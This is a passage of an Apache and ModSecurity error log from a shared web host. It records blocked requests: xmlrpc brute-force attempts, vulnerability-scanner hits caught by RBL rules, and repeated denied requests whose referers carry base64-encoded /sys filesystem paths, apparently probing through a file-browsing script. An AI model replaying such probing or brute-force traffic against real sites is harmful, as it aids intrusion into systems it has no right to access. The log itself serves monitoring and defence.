server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:14:44.509748 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:14:44.680898 2026] [security2:error] [pid 531155:tid 531167] [remote 67.20.76.238:40816] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.76.20.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "scottcoy.com"] [uri "/xmlrpc.php"] [unique_id "ai3ydCmiP80klyS0NnokEQABbQs"] [Sat Jun 13 18:14:44.681093 2026] [security2:error] [pid 531155:tid 531384] [client 67.20.76.238:40816] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "scottcoy.com"] [uri "/xmlrpc.php"] [unique_id "ai3ydCmiP80klyS0NnokEQABbQs"] [Sat Jun 13 18:14:44.784327 2026] [security2:error] [pid 531155:tid 531180] [remote 17.22.245.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ydCmiP80klyS0NnokGAABXxg"] [Sat Jun 13 18:14:44.794881 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.91:59878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:44.795329 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.91:59878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:44.985188 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.99:52494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:44.985671 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.99:52494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:45.065777 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:14:45.066077 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:14:45.107779 2026] [security2:error] [pid 531155:tid 531194] [remote 17.246.23.51:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ydSmiP80klyS0NnokKwABOSY"] [Sat Jun 13 18:14:45.383758 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.5:57707] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:45.384219 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.5:57707] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:45.437555 2026] [security2:error] [pid 531155:tid 531207] [remote 17.22.253.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ydSmiP80klyS0NnokPQABaDM"] [Sat Jun 13 18:14:45.571464 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:14:45.571884 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:14:45.585526 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.2:54917] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:45.585821 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.2:54917] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:45.663222 2026] [access_compat:error] [pid 531155:tid 531174] [remote 57.141.14.85:42856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:45.663687 2026] [access_compat:error] [pid 531155:tid 531174] [remote 57.141.14.85:42856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:45.882279 2026] [security2:error] [pid 531155:tid 531249] [remote 17.22.245.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ydSmiP80klyS0NnokXQABhl0"] [Sat Jun 13 18:14:45.886184 2026] [security2:error] [pid 531155:tid 531318] [client 13.140.175.37:64268] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "frederickmodelaircraftclub.org"] [uri "/"] [unique_id "ai3ydSmiP80klyS0NnokYAAAASs"] [Sat Jun 13 18:14:45.970560 2026] [access_compat:error] [pid 531155:tid 531178] [remote 57.141.14.96:30355] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:45.971020 2026] [access_compat:error] [pid 531155:tid 531178] [remote 57.141.14.96:30355] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:46.019664 2026] [security2:error] [pid 531155:tid 531171] [remote 17.246.19.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ydimiP80klyS0NnokaAABRw8"] [Sat Jun 13 18:14:46.109434 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:14:46.109732 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:14:46.172437 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.29:30665] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:46.172701 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.29:30665] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:46.174959 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.28:31134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:46.175392 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.28:31134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:46.307724 2026] [security2:error] [pid 531155:tid 531306] [client 13.140.175.37:50458] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "frederickmodelaircraftclub.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai3ydimiP80klyS0NnokgwAAAR8"] [Sat Jun 13 18:14:46.629068 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:46.629351 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:46.804956 2026] [security2:error] [pid 531155:tid 531313] [client 13.140.175.37:50490] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "frederickmodelaircraftclub.org"] [uri "/media/system/js/core.js"] [unique_id "ai3ydimiP80klyS0NnokuAAAASY"] [Sat Jun 13 18:14:47.050429 2026] [security2:error] [pid 531155:tid 531181] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3ydymiP80klyS0NnokyQABFhk"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-base-para-dispositivos-moviles-incluye-10-unidades-hikcentral-p-ms-base [Sat Jun 13 18:14:47.074983 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.24:64224] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:47.075442 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.24:64224] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:47.117123 2026] [security2:error] [pid 531155:tid 531201] [remote 17.246.23.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ydymiP80klyS0NnokywABMi0"] [Sat Jun 13 18:14:47.120531 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:14:47.120983 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:14:47.358731 2026] [access_compat:error] [pid 531155:tid 531182] [remote 57.141.14.12:33270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:47.359014 2026] [access_compat:error] [pid 531155:tid 531182] [remote 57.141.14.12:33270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:47.497309 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.74:62594] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:47.497704 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.74:62594] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:47.553900 2026] [access_compat:error] [pid 531155:tid 531161] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:47.554159 2026] [access_compat:error] [pid 531155:tid 531161] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:47.674396 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:14:47.674699 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:14:47.701500 2026] [security2:error] [pid 531155:tid 531162] [remote 17.22.237.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ydymiP80klyS0Nnok7wABHwY"] [Sat Jun 13 18:14:47.752687 2026] [security2:error] [pid 531155:tid 531294] [client 172.56.168.133:11521] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ydymiP80klyS0Nnok8gAAARM"] [Sat Jun 13 18:14:47.752840 2026] [security2:error] [pid 531155:tid 531294] [client 172.56.168.133:11521] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname 